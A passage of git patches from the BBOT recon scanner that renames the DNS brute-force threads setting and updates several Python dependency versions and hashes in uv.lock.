__init__(self, resolvers, config): assert captured["config"].rate_limit is None # the shipped default must not silently drift back to a slow tail assert captured["config"].request_timeout_ms == 500 + # one socket per resolver keeps NAT state bounded by the resolver count instead + # of growing with query volume, so it has to stay on by default + assert captured["config"].persistent_socket is True + + # and it stays overridable, for anywhere the extra sockets are the tighter bound + scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers, "brute_persistent_socket": False}}) + await scan._prep() + await scan.helpers.dns.brute.client() assert captured["config"].persistent_socket is False # An unusable nameserver fails loudly instead of being silently ignored. From 57497152341415300ce08b3e385e9ba68771d7d4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 3 Aug 2026 13:23:24 -0400 Subject: [PATCH 027/256] Finish retiring dns.brute_threads The subdomain-enum preset still set it, so every bundled-preset validation failed and took test_python_api and test_modules_basic_checks with it. dnsbrute also no longer has common deps now that massdns is gone, so the preload assertion moves to portscan, which still uses them. --- README.md | 2 +- bbot/presets/subdomain-enum.yml | 2 +- bbot/test/test_step_1/test_modules_basic.py | 2 +- docs/scanning/scan_sanity.md | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 5d5b5be444..322798f824 100644 --- a/README.md +++ b/README.md @@ -57,7 +57,7 @@ output_modules: config: dns: threads: 25 - brute_threads: 1000 + brute_concurrency: 1000 # put your API keys here # modules: # github: diff --git a/bbot/presets/subdomain-enum.yml b/bbot/presets/subdomain-enum.yml index d4230c3fc6..d0d6491e5f 100644 --- a/bbot/presets/subdomain-enum.yml +++ b/bbot/presets/subdomain-enum.yml @@ -11,7 +11,7 @@ output_modules: config: dns: threads: 25 - brute_threads: 1000 + brute_concurrency: 1000 # put your API keys here # modules: # github: diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 60e4080714..e95bea7567 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -163,7 +163,7 @@ async def test_modules_basic_checks(events, blasthttp_mock): assert "wordlist" in all_preloaded["dnsbrute"]["config"] assert type(all_preloaded["dnsbrute"]["config"]["max_depth"]) == int assert all_preloaded["baddns"]["deps"]["pip"] - assert all_preloaded["dnsbrute"]["deps"]["common"] + assert all_preloaded["portscan"]["deps"]["common"] assert all_preloaded["gowitness"]["deps"]["ansible"] all_flags = set() diff --git a/docs/scanning/scan_sanity.md b/docs/scanning/scan_sanity.md index 46e5e1fffc..814105e605 100644 --- a/docs/scanning/scan_sanity.md +++ b/docs/scanning/scan_sanity.md @@ -42,7 +42,7 @@ If you truly just want the "throw everything at it" experience, we do have a pre - **`scope.search_distance`** (default `0`) is the big one. It controls how many hops out from your target BBOT is allowed to explore. At `0`, modules only act on in-scope events. Raise it and a single certificate full of affiliate names pulls in those hosts, then *their* subdomains, then *their* infrastructure, and scope balloons outward hop by hop until there's no natural stopping point. The config comment says it outright: don't change this unless you know what you're doing. (This is *not* the same as `dns.search_distance`, which only governs DNS resolution and is safer to adjust.) - **`web.spider_distance`** / **`web.spider_depth`** (default `0` / `1`). A `spider_distance` of `0` means no spidering at all. Raise it and the crawler follows links from links from links, and every URL it turns up feeds webbrute and lightfuzz. On a large site that loop is effectively unbounded. -- **`dns.threads`** / **`dns.brute_threads`** (default `10` / `1000`) control DNS concurrency. Cranking them won't make your scan meaningfully faster (the real lever is adding more resolvers to `/etc/resolv.conf`); it'll just flood your nameservers and get you rate-limited. +- **`dns.threads`** / **`dns.brute_concurrency`** (default `10` / `1000`) control DNS concurrency. Cranking them won't make your scan meaningfully faster (the real lever is adding more resolvers to `/etc/resolv.conf`); it'll just flood your nameservers and get you rate-limited. - **`dns.runaway_limit`** (default `5`) and **`dns.wildcard_disable`** (default `false`) are guardrails. `runaway_limit` stops BBOT from chasing a malicious chain of DNS records forever, and wildcard detection is the only thing keeping a `*.example.com` wildcard from spawning infinite bogus subdomains. Turning either off removes a safety net that's there for a reason. ## Scan Target From 201106b6e997035db163faf92f7a6a8110963228 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 4 Aug 2026 21:55:19 -0400 Subject: [PATCH 028/256] Bump packaging from 26.0 to 26.2 (#3365) Bumps [packaging](https://github.com/pypa/packaging) from 26.0 to 26.2. - [Release notes](https://github.com/pypa/packaging/releases) - [Changelog](https://github.com/pypa/packaging/blob/main/CHANGELOG.rst) - [Commits](https://github.com/pypa/packaging/compare/26.0...26.2) --- updated-dependencies: - dependency-name: packaging dependency-version: '26.2' dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 535670ed12..e86bd62e16 100644 --- a/uv.lock +++ b/uv.lock @@ -1958,11 +1958,11 @@ wheels = [ [[package]] name = "packaging" -version = "26.0" +version = "26.2" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" } +sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" }, + { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" }, ] [[package]] From 5e088d77ea7d365ab2c277d65d97befcbc76ad9a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 4 Aug 2026 21:55:42 -0400 Subject: [PATCH 029/256] Bump pytest-httpserver from 1.1.4 to 1.1.5 (#3364) Bumps [pytest-httpserver](https://github.com/csernazs/pytest-httpserver) from 1.1.4 to 1.1.5. - [Release notes](https://github.com/csernazs/pytest-httpserver/releases) - [Changelog](https://github.com/csernazs/pytest-httpserver/blob/master/CHANGES.rst) - [Commits](https://github.com/csernazs/pytest-httpserver/compare/1.1.4...1.1.5) --- updated-dependencies: - dependency-name: pytest-httpserver dependency-version: 1.1.5 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index e86bd62e16..b1bab72cde 100644 --- a/uv.lock +++ b/uv.lock @@ -2386,14 +2386,14 @@ wheels = [ [[package]] name = "pytest-httpserver" -version = "1.1.4" +version = "1.1.5" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "werkzeug" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/8a/1c/9d1a388fcd3898537b6c9ef06fdf9a42c9b9ffefdb8e3ce50174f4d0211d/pytest_httpserver-1.1.4.tar.gz", hash = "sha256:4d357402ae7e141f3914ed7cd25f3e24746ae928792dad60053daee4feae81fc", size = 8295814, upload-time = "2026-02-09T18:18:00.237Z" } +sdist = { url = "https://files.pythonhosted.org/packages/50/17/ad187f46998814014f7cda309de700b87c0eb4b2e111e18bc8c819be7116/pytest_httpserver-1.1.5.tar.gz", hash = "sha256:dc3d82e1fe00e491829d8939c549bf4bd9b39a260f87113c619b9d517c2f8ff1", size = 70974, upload-time = "2026-02-14T13:27:23.412Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/7c/50/7ed2153872d593c14d3a5565f9744d603a3e23967ab3cea0cc1eeb51a1ff/pytest_httpserver-1.1.4-py3-none-any.whl", hash = "sha256:5dc73beae8cef139597cfdaab1b7f6bfe3551dd80965a6039e08498796053331", size = 21653, upload-time = "2026-02-09T18:17:54.772Z" }, + { url = "https://files.pythonhosted.org/packages/ec/df/0bdf90b84c6a586a9fd2b509523a3ab26b1cc1b1dba2fb62a32e4411ea9e/pytest_httpserver-1.1.5-py3-none-any.whl", hash = "sha256:ee83feb587ab652c0c6729598db2820e9048233bac8df756818b7845a1621d0a", size = 23330, upload-time = "2026-02-14T13:27:22.119Z" }, ] [[package]] From c278cc774bcedbf010558e9324a8c8a62108a679 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 4 Aug 2026 21:56:14 -0400 Subject: [PATCH 030/256] Bump lxml from 6.1.0 to 6.1.1 (#3362) Bumps [lxml](https://github.com/lxml/lxml) from 6.1.0 to 6.1.1. - [Release notes](https://github.com/lxml/lxml/releases) - [Changelog](https://github.com/lxml/lxml/blob/master/CHANGES.txt) - [Commits](https://github.com/lxml/lxml/compare/lxml-6.1.0...lxml-6.1.1) --- updated-dependencies: - dependency-name: lxml dependency-version: 6.1.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 228 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 114 insertions(+), 114 deletions(-) diff --git a/uv.lock b/uv.lock index b1bab72cde..4978af1558 100644 --- a/uv.lock +++ b/uv.lock @@ -1333,120 +1333,120 @@ wheels = [ [[package]] name = "lxml" -version = "6.1.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/28/30/9abc9e34c657c33834eaf6cd02124c61bdf5944d802aa48e69be8da3585d/lxml-6.1.0.tar.gz", hash = "sha256:bfd57d8008c4965709a919c3e9a98f76c2c7cb319086b3d26858250620023b13", size = 4197006, upload-time = "2026-04-18T04:32:51.613Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/02/6e/ee8fc0e01202eb3dd2b9e1ea4f0910d72425d35c66187c63931d7a3ea73f/lxml-6.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:41dcc4c7b10484257cbd6c37b83ddb26df2b0e5aff5ac00d095689015af868ec", size = 8540733, upload-time = "2026-04-18T04:27:33.185Z" }, - { url = "https://files.pythonhosted.org/packages/54/e8/325fe9b942824c773dffe1baf0c35b046a763851fdff4393af4450bceeb7/lxml-6.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a31286dbb5e74c8e9a5344465b77ab4c5bd511a253b355b5ca2fae7e579fafec", size = 4602805, upload-time = "2026-04-18T04:27:36.097Z" }, - { url = "https://files.pythonhosted.org/packages/2d/81/221aa3ea4a40370bb0358fa454cbe7e5a837e522f7630c24dfef3f9a73b0/lxml-6.1.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1bc4cc83fb7f66ffb16f74d6dd0162e144333fc36ebcce32246f80c8735b2551", size = 5002652, upload-time = "2026-04-18T04:27:30.603Z" }, - { url = "https://files.pythonhosted.org/packages/c6/e1/fdbfb9019542f1875c093576df7f37adc2983c8ba7ecf17e5f14490bc107/lxml-6.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:20cf4d0651987c906a2f5cba4e3a8d6ba4bfdf973cfe2a96c0d6053888ea2ecd", size = 5155332, upload-time = "2026-04-18T04:27:33.507Z" }, - { url = "https://files.pythonhosted.org/packages/56/b1/4087c782fff397cd03abf9c551069be59bb04a7e548c50fb7b9c4cdaca28/lxml-6.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ffb34ea45a82dd637c2c97ae1bbb920850c1e59bcae79ce1c15af531d83e7215", size = 5057226, upload-time = "2026-04-18T04:27:37.567Z" }, - { url = "https://files.pythonhosted.org/packages/5d/66/516c79dec8417f3a972327330254c0b5fac93d5c3ecfd8a5b43650a5a4d9/lxml-6.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a1d9b99e5b2597e4f5aed2484fef835256fa1b68a19e4265c97628ef4bf8bcf4", size = 5287588, upload-time = "2026-04-18T04:27:41.4Z" }, - { url = "https://files.pythonhosted.org/packages/94/1d/e578f4cbeb42b9df9f29b0d44a45a7cdfa3a5ae300dd59ec68e3602d29bb/lxml-6.1.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:d43aa26dcda363f21e79afa0668f5029ed7394b3bb8c92a6927a3d34e8b610ea", size = 5412438, upload-time = "2026-04-18T04:27:45.589Z" }, - { url = "https://files.pythonhosted.org/packages/47/5b/2aa68307d6d15959e84d4882f9c04f2da63127eac463e1594166f681ef77/lxml-6.1.0-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:6262b87f9e5c1e5fe501d6c153247289af42eb44ad7660b9b3de17baaf92d6f6", size = 4770997, upload-time = "2026-04-18T04:27:49.853Z" }, - { url = "https://files.pythonhosted.org/packages/ae/c9/3e51fc1228310a836b4eb32595ae00154ab12197fca944676a3ab3b163ea/lxml-6.1.0-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d1392c569c032f78a11a25d1de1c43fff13294c793b39e19d84fade3045cbbc3", size = 5359678, upload-time = "2026-04-18T04:31:56.184Z" }, - { url = "https://files.pythonhosted.org/packages/b5/91/ab8bc834f977fbbd310e697b120787c153db026f9151e02a88d2645d4e5b/lxml-6.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:045e387d1f4f42a418380930fa3f45c73c9b392faf67e495e58902e68e8f44a7", size = 5107890, upload-time = "2026-04-18T04:32:00.387Z" }, - { url = "https://files.pythonhosted.org/packages/bb/10/8a143cfa3ac99cb5b0523ff6d0429a9c9dddf25ffeae09caa3866c7964d9/lxml-6.1.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:9f93d5b8b07f73e8c77e3c6556a3db269918390c804b5e5fcdd4858232cc8f16", size = 4803977, upload-time = "2026-04-18T04:32:05.099Z" }, - { url = "https://files.pythonhosted.org/packages/45/fd/ee02faf52fa39c2fe32f824628958b9aa86dff21343dc3161f0e3c6ccd15/lxml-6.1.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:de550d129f18d8ab819651ffe4f38b1b713c7e116707de3c0c6400d0ef34fbc1", size = 5350277, upload-time = "2026-04-18T04:32:09.176Z" }, - { url = "https://files.pythonhosted.org/packages/85/8c/b3481364b8554b5d36d540189a87fc71e94b0b01c24f8f152bd662dd2e45/lxml-6.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c08da09dc003c9e8c70e06b53a11db6fb3b250c21c4236b03c7d7b443c318e7a", size = 5309717, upload-time = "2026-04-18T04:32:13.303Z" }, - { url = "https://files.pythonhosted.org/packages/74/e8/a6b21927077a9127afa17473b6576b322616f34ac50ee4f577e763b75ec0/lxml-6.1.0-cp310-cp310-win32.whl", hash = "sha256:37448bf9c7d7adfc5254763901e2bbd6bb876228dfc1fc7f66e58c06368a7544", size = 3598491, upload-time = "2026-04-18T04:27:24.288Z" }, - { url = "https://files.pythonhosted.org/packages/ea/82/14dea800d041274d96c07d49ff9191f011d1427450850de19bf541e2cc12/lxml-6.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:2593a0a6621545b9095b71ad74ed4226eba438a7d9fc3712a99bdb15508cf93a", size = 4020906, upload-time = "2026-04-18T04:27:27.53Z" }, - { url = "https://files.pythonhosted.org/packages/f2/ba/d3539aaf4d9d21456b9a7b902816623227d05d63e7c5aafd8834c4b9bed6/lxml-6.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:e80807d72f96b96ad5588cb85c75616e4f2795a7737d4630784c51497beb7776", size = 3667787, upload-time = "2026-04-18T04:27:29.407Z" }, - { url = "https://files.pythonhosted.org/packages/5e/5d/3bccad330292946f97962df9d5f2d3ae129cce6e212732a781e856b91e07/lxml-6.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cec05be8c876f92a5aa07b01d60bbb4d11cfbdd654cad0561c0d7b5c043a61b9", size = 8526232, upload-time = "2026-04-18T04:27:40.389Z" }, - { url = "https://files.pythonhosted.org/packages/a7/51/adc8826570a112f83bb4ddb3a2ab510bbc2ccd62c1b9fe1f34fae2d90b57/lxml-6.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9c03e048b6ce8e77b09c734e931584894ecd58d08296804ca2d0b184c933ce50", size = 4595448, upload-time = "2026-04-18T04:27:44.208Z" }, - { url = "https://files.pythonhosted.org/packages/54/84/5a9ec07cbe1d2334a6465f863b949a520d2699a755738986dcd3b6b89e3f/lxml-6.1.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:942454ff253da14218f972b23dc72fa4edf6c943f37edd19cd697618b626fac5", size = 4923771, upload-time = "2026-04-18T04:32:17.402Z" }, - { url = "https://files.pythonhosted.org/packages/a7/23/851cfa33b6b38adb628e45ad51fb27105fa34b2b3ba9d1d4aa7a9428dfe0/lxml-6.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d036ee7b99d5148072ac7c9b847193decdfeac633db350363f7bce4fff108f0e", size = 5068101, upload-time = "2026-04-18T04:32:21.437Z" }, - { url = "https://files.pythonhosted.org/packages/b0/38/41bf99c2023c6b79916ba057d83e9db21d642f473cac210201222882d38b/lxml-6.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ae5d8d5427f3cc317e7950f2da7ad276df0cfa37b8de2f5658959e618ea8512", size = 5002573, upload-time = "2026-04-18T04:32:25.373Z" }, - { url = "https://files.pythonhosted.org/packages/c2/20/053aa10bdc39747e1e923ce2d45413075e84f70a136045bb09e5eaca41d3/lxml-6.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:363e47283bde87051b821826e71dde47f107e08614e1aa312ba0c5711e77738c", size = 5202816, upload-time = "2026-04-18T04:32:29.393Z" }, - { url = "https://files.pythonhosted.org/packages/9a/da/bc710fad8bf04b93baee752c192eaa2210cd3a84f969d0be7830fea55802/lxml-6.1.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f504d861d9f2a8f94020130adac88d66de93841707a23a86244263d1e54682f5", size = 5329999, upload-time = "2026-04-18T04:32:34.019Z" }, - { url = "https://files.pythonhosted.org/packages/b3/cb/bf035dedbdf7fab49411aa52e4236f3445e98d38647d85419e6c0d2806b9/lxml-6.1.0-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:23a5dc68e08ed13331d61815c08f260f46b4a60fdd1640bbeb82cf89a9d90289", size = 4659643, upload-time = "2026-04-18T04:32:37.932Z" }, - { url = "https://files.pythonhosted.org/packages/5c/4f/22be31f33727a5e4c7b01b0a874503026e50329b259d3587e0b923cf964b/lxml-6.1.0-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f15401d8d3dbf239e23c818afc10c7207f7b95f9a307e092122b6f86dd43209a", size = 5265963, upload-time = "2026-04-18T04:32:41.881Z" }, - { url = "https://files.pythonhosted.org/packages/c8/2b/d44d0e5c79226017f4ab8c87a802ebe4f89f97e6585a8e4166dffcdd7b6e/lxml-6.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fcf3da95e93349e0647d48d4b36a12783105bcc74cb0c416952f9988410846a3", size = 5045444, upload-time = "2026-04-18T04:32:44.512Z" }, - { url = "https://files.pythonhosted.org/packages/d3/c3/3f034fec1594c331a6dbf9491238fdcc9d66f68cc529e109ec75b97197e1/lxml-6.1.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:0d082495c5fcf426e425a6e28daaba1fcb6d8f854a4ff01effb1f1f381203eb9", size = 4712703, upload-time = "2026-04-18T04:32:47.16Z" }, - { url = "https://files.pythonhosted.org/packages/12/16/0b83fccc158218aca75a7aa33e97441df737950734246b9fffa39301603d/lxml-6.1.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:e3c4f84b24a1fcba435157d111c4b755099c6ff00a3daee1ad281817de75ed11", size = 5252745, upload-time = "2026-04-18T04:32:50.427Z" }, - { url = "https://files.pythonhosted.org/packages/dd/ee/12e6c1b39a77666c02eaa77f94a870aaf63c4ac3a497b2d52319448b01c6/lxml-6.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:976a6b39b1b13e8c354ad8d3f261f3a4ac6609518af91bdb5094760a08f132c4", size = 5226822, upload-time = "2026-04-18T04:32:53.437Z" }, - { url = "https://files.pythonhosted.org/packages/34/20/c7852904858b4723af01d2fc14b5d38ff57cb92f01934a127ebd9a9e51aa/lxml-6.1.0-cp311-cp311-win32.whl", hash = "sha256:857efde87d365706590847b916baff69c0bc9252dc5af030e378c9800c0b10e3", size = 3594026, upload-time = "2026-04-18T04:27:31.903Z" }, - { url = "https://files.pythonhosted.org/packages/02/05/d60c732b56da5085175c07c74b2df4e6d181b0c9a61e1691474f06ef4b39/lxml-6.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:183bfb45a493081943be7ea2b5adfc2b611e1cf377cefa8b8a8be404f45ef9a7", size = 4025114, upload-time = "2026-04-18T04:27:34.077Z" }, - { url = "https://files.pythonhosted.org/packages/c2/df/c84dcc175fd690823436d15b41cb920cd5ba5e14cd8bfb00949d5903b320/lxml-6.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:19f4164243fc206d12ed3d866e80e74f5bc3627966520da1a5f97e42c32a3f39", size = 3667742, upload-time = "2026-04-18T04:27:38.45Z" }, - { url = "https://files.pythonhosted.org/packages/d2/d4/9326838b59dc36dfae42eec9656b97520f9997eee1de47b8316aaeed169c/lxml-6.1.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d2f17a16cd8751e8eb233a7e41aecdf8e511712e00088bf9be455f604cd0d28d", size = 8570663, upload-time = "2026-04-18T04:27:48.253Z" }, - { url = "https://files.pythonhosted.org/packages/d8/a4/053745ce1f8303ccbb788b86c0db3a91b973675cefc42566a188637b7c40/lxml-6.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f0cea5b1d3e6e77d71bd2b9972eb2446221a69dc52bb0b9c3c6f6e5700592d93", size = 4624024, upload-time = "2026-04-18T04:27:52.594Z" }, - { url = "https://files.pythonhosted.org/packages/90/97/a517944b20f8fd0932ad2109482bee4e29fe721416387a363306667941f6/lxml-6.1.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fc46da94826188ed45cb53bd8e3fc076ae22675aea2087843d4735627f867c6d", size = 4930895, upload-time = "2026-04-18T04:32:56.29Z" }, - { url = "https://files.pythonhosted.org/packages/94/7c/e08a970727d556caa040a44773c7b7e3ad0f0d73dedc863543e9a8b931f2/lxml-6.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9147d8e386ec3b82c3b15d88927f734f565b0aaadef7def562b853adca45784a", size = 5093820, upload-time = "2026-04-18T04:32:58.94Z" }, - { url = "https://files.pythonhosted.org/packages/88/ee/2a5c2aa2c32016a226ca25d3e1056a8102ea6e1fe308bf50213586635400/lxml-6.1.0-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5715e0e28736a070f3f34a7ccc09e2fdcba0e3060abbcf61a1a5718ff6d6b105", size = 5005790, upload-time = "2026-04-18T04:33:01.272Z" }, - { url = "https://files.pythonhosted.org/packages/e3/38/a0db9be8f38ad6043ab9429487c128dd1d30f07956ef43040402f8da49e8/lxml-6.1.0-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4937460dc5df0cdd2f06a86c285c28afda06aefa3af949f9477d3e8df430c485", size = 5630827, upload-time = "2026-04-18T04:33:04.036Z" }, - { url = "https://files.pythonhosted.org/packages/31/ba/3c13d3fc24b7cacf675f808a3a1baabf43a30d0cd24c98f94548e9aa58eb/lxml-6.1.0-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bc783ee3147e60a25aa0445ea82b3e8aabb83b240f2b95d32cb75587ff781814", size = 5240445, upload-time = "2026-04-18T04:33:06.87Z" }, - { url = "https://files.pythonhosted.org/packages/55/ba/eeef4ccba09b2212fe239f46c1692a98db1878e0872ae320756488878a94/lxml-6.1.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:40d9189f80075f2e1f88db21ef815a2b17b28adf8e50aaf5c789bfe737027f32", size = 5350121, upload-time = "2026-04-18T04:33:09.365Z" }, - { url = "https://files.pythonhosted.org/packages/7e/01/1da87c7b587c38d0cbe77a01aae3b9c1c49ed47d76918ef3db8fc151b1ca/lxml-6.1.0-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:05b9b8787e35bec69e68daf4952b2e6dfcfb0db7ecf1a06f8cdfbbac4eb71aad", size = 4694949, upload-time = "2026-04-18T04:33:11.628Z" }, - { url = "https://files.pythonhosted.org/packages/a1/88/7db0fe66d5aaf128443ee1623dec3db1576f3e4c17751ec0ef5866468590/lxml-6.1.0-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0f08beb0182e3e9a86fae124b3c47a7b41b7b69b225e1377db983802404e54", size = 5243901, upload-time = "2026-04-18T04:33:13.95Z" }, - { url = "https://files.pythonhosted.org/packages/00/a8/1346726af7d1f6fca1f11223ba34001462b0a3660416986d37641708d57c/lxml-6.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:73becf6d8c81d4c76b1014dbd3584cb26d904492dcf73ca85dc8bff08dcd6d2d", size = 5048054, upload-time = "2026-04-18T04:33:16.965Z" }, - { url = "https://files.pythonhosted.org/packages/2e/b7/85057012f035d1a0c87e02f8c723ca3c3e6e0728bcf4cb62080b21b1c1e3/lxml-6.1.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1ae225f66e5938f4fa29d37e009a3bb3b13032ac57eb4eb42afa44f6e4054e69", size = 4777324, upload-time = "2026-04-18T04:33:19.832Z" }, - { url = "https://files.pythonhosted.org/packages/75/6c/ad2f94a91073ef570f33718040e8e160d5fb93331cf1ab3ca1323f939e2d/lxml-6.1.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:690022c7fae793b0489aa68a658822cea83e0d5933781811cabbf5ea3bcfe73d", size = 5645702, upload-time = "2026-04-18T04:33:22.436Z" }, - { url = "https://files.pythonhosted.org/packages/3b/89/0bb6c0bd549c19004c60eea9dc554dd78fd647b72314ef25d460e0d208c6/lxml-6.1.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:63aeafc26aac0be8aff14af7871249e87ea1319be92090bfd632ec68e03b16a5", size = 5232901, upload-time = "2026-04-18T04:33:26.21Z" }, - { url = "https://files.pythonhosted.org/packages/a1/d9/d609a11fb567da9399f525193e2b49847b5a409cdebe737f06a8b7126bdc/lxml-6.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:264c605ab9c0e4aa1a679636f4582c4d3313700009fac3ec9c3412ed0d8f3e1d", size = 5261333, upload-time = "2026-04-18T04:33:28.984Z" }, - { url = "https://files.pythonhosted.org/packages/a6/3a/ac3f99ec8ac93089e7dd556f279e0d14c24de0a74a507e143a2e4b496e7c/lxml-6.1.0-cp312-cp312-win32.whl", hash = "sha256:56971379bc5ee8037c5a0f09fa88f66cdb7d37c3e38af3e45cf539f41131ac1f", size = 3596289, upload-time = "2026-04-18T04:27:42.819Z" }, - { url = "https://files.pythonhosted.org/packages/f2/a7/0a915557538593cb1bbeedcd40e13c7a261822c26fecbbdb71dad0c2f540/lxml-6.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:bba078de0031c219e5dd06cf3e6bf8fb8e6e64a77819b358f53bb132e3e03366", size = 3997059, upload-time = "2026-04-18T04:27:46.764Z" }, - { url = "https://files.pythonhosted.org/packages/92/96/a5dc078cf0126fbfbc35611d77ecd5da80054b5893e28fb213a5613b9e1d/lxml-6.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:c3592631e652afa34999a088f98ba7dfc7d6aff0d535c410bea77a71743f3819", size = 3659552, upload-time = "2026-04-18T04:27:51.133Z" }, - { url = "https://files.pythonhosted.org/packages/08/03/69347590f1cf4a6d5a4944bb6099e6d37f334784f16062234e1f892fdb1d/lxml-6.1.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a0092f2b107b69601adf562a57c956fbb596e05e3e6651cabd3054113b007e45", size = 8559689, upload-time = "2026-04-18T04:31:57.785Z" }, - { url = "https://files.pythonhosted.org/packages/3f/58/25e00bb40b185c974cfe156c110474d9a8a8390d5f7c92a4e328189bb60e/lxml-6.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = 